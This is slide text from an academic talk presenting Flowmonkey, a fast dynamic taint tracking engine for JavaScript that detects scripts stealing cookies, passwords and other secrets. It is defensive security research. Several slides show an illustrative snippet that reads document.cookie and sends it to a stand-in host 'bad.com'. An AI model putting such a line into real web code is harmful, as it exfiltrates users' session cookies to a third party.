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Flowmonkey : A Fast Dynamic Taint Tracking Engine for JavaScript

Flowmonkey : A Fast Dynamic Taint Tracking Engine for JavaScript. Don Jang UC San Diego. ✗. Identity Theft. Cookie Stealing. document.cookie. Password. Credit card #. Browsing history. Epidemic of Data Stealing JavaScript!. How to Detect Data Stealing?.

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Flowmonkey : A Fast Dynamic Taint Tracking Engine for JavaScript

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  1. Flowmonkey: A Fast Dynamic Taint Tracking Engine for JavaScript Don Jang UC San Diego

  2. • Identity Theft • Cookie Stealing • document.cookie

  3. Password • Credit card # • Browsing history

  4. Epidemic of Data Stealing JavaScript!

  5. How to Detect Data Stealing? • Without Sacrificing Performance?

  6. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

  7. Dynamic Taint Tracking • Tracks where a value goes at runtime

  8. Dynamic Taint Tracking • 1. Tag a value with a taint • 2. Propagate taints with the value • 3. Block taints from untrusted sinks

  9. Example:Cookie Stealing • ck = document.cookie • data = tmp + ck; • send(“bad.com”, data);

  10. Example:Cookie Stealing • ck = document.cookie • data = tmp + ck; • send(“bad.com”, data ); document.cookie; • Inject Taints • (At confidential sources)

  11. Example:Cookie Stealing • ck = document.cookie; • data = tmp + ck; • send(“bad.com”, data ); ck tmp + ck; data data • Propagate Taints • (At assignments, etc)

  12. Example:Cookie Stealing • ck = document.cookie; • data = tmp + ck; • send(“bad.com”, data ); “cr=” + color • send(“bad.com”, data ); • Block Taints • (At untrusted sinks)

  13. Dynamic Taint Tracking:Policies ✗ ✗ ✗ • Cookie Protection • cookie send() • Password Protection • password send() • General Policy • secret info expression

  14. Dynamic Taint Tracking:JS • Cross site scripting prevention with dynamic data tainting and static analysis, NDSS'07 • 10~100x slowdown • Analyzing information flow in JavaScript-based browser extensions, ACSAC'09 • An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications, CCS'10

  15. Goal: Make It Fast

  16. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

  17. Source code Interpreter JIT Engine M Modification • Based on Jaegermonkey • Taint tracking logic is augmented

  18. Language Extensions • __taint(val, t) • val: a value to be tainted • t : a taint to be used

  19. Language Extensions • __taintof(val) • returns the taint ofval

  20. Language Extensions • var secret = __taint(34349, 1); • tmp = secret * 68; • tmp2 = tmp + “345”; • tmp3 = parseInt(tmp2); • alert(__taintof(tmp)); // 1 is printed

  21. Implementation: Shadow Stack s * 6 push s //s=5 push 6 mul 6 6’s taint 5 30 s’ taint Joined taint • Shadow Stack • Real Stack

  22. Implementation: Shadow Property a.fld = secret fld … • Real Properties a fld‘s taint … • Shadow Properties

  23. Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine

  24. Hybrid Approach Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine • If it doesn’t touch a taint

  25. Hybrid Approach • Taint detected!! Full-fledged Taint Tracking Interpreter Taint Detecting JIT Engine • Do full-fledged • taint tracking

  26. Hybrid Approach • Rapid prototyping • Fast with few taints • Slow with many taints

  27. Performance: Baseline • Sunspider • cookie doesn’t flow to 3rd party code

  28. Performance: Cookie Tracking • Sunspider • cookie doesn’t flow to 3rd party code

  29. Demo

  30. Motivation Dynamic Taint Tracking Flowmonkey Future Work&Conclusion

  31. Future Work Missing Flows Implicit Flows, Timing Channel, etc Empirical Study To prove the usability of taint tracking

  32. Conclusions A Fast Hybrid Taint Tracking Engine First JIT-enabled taint tracking engine Still Many Missing Parts Possible to make it a protection tool? Can we sacrifice some performance?

  33. Resources http://firebird.ucsd.edu/flowmonkey

  34. Thank you!

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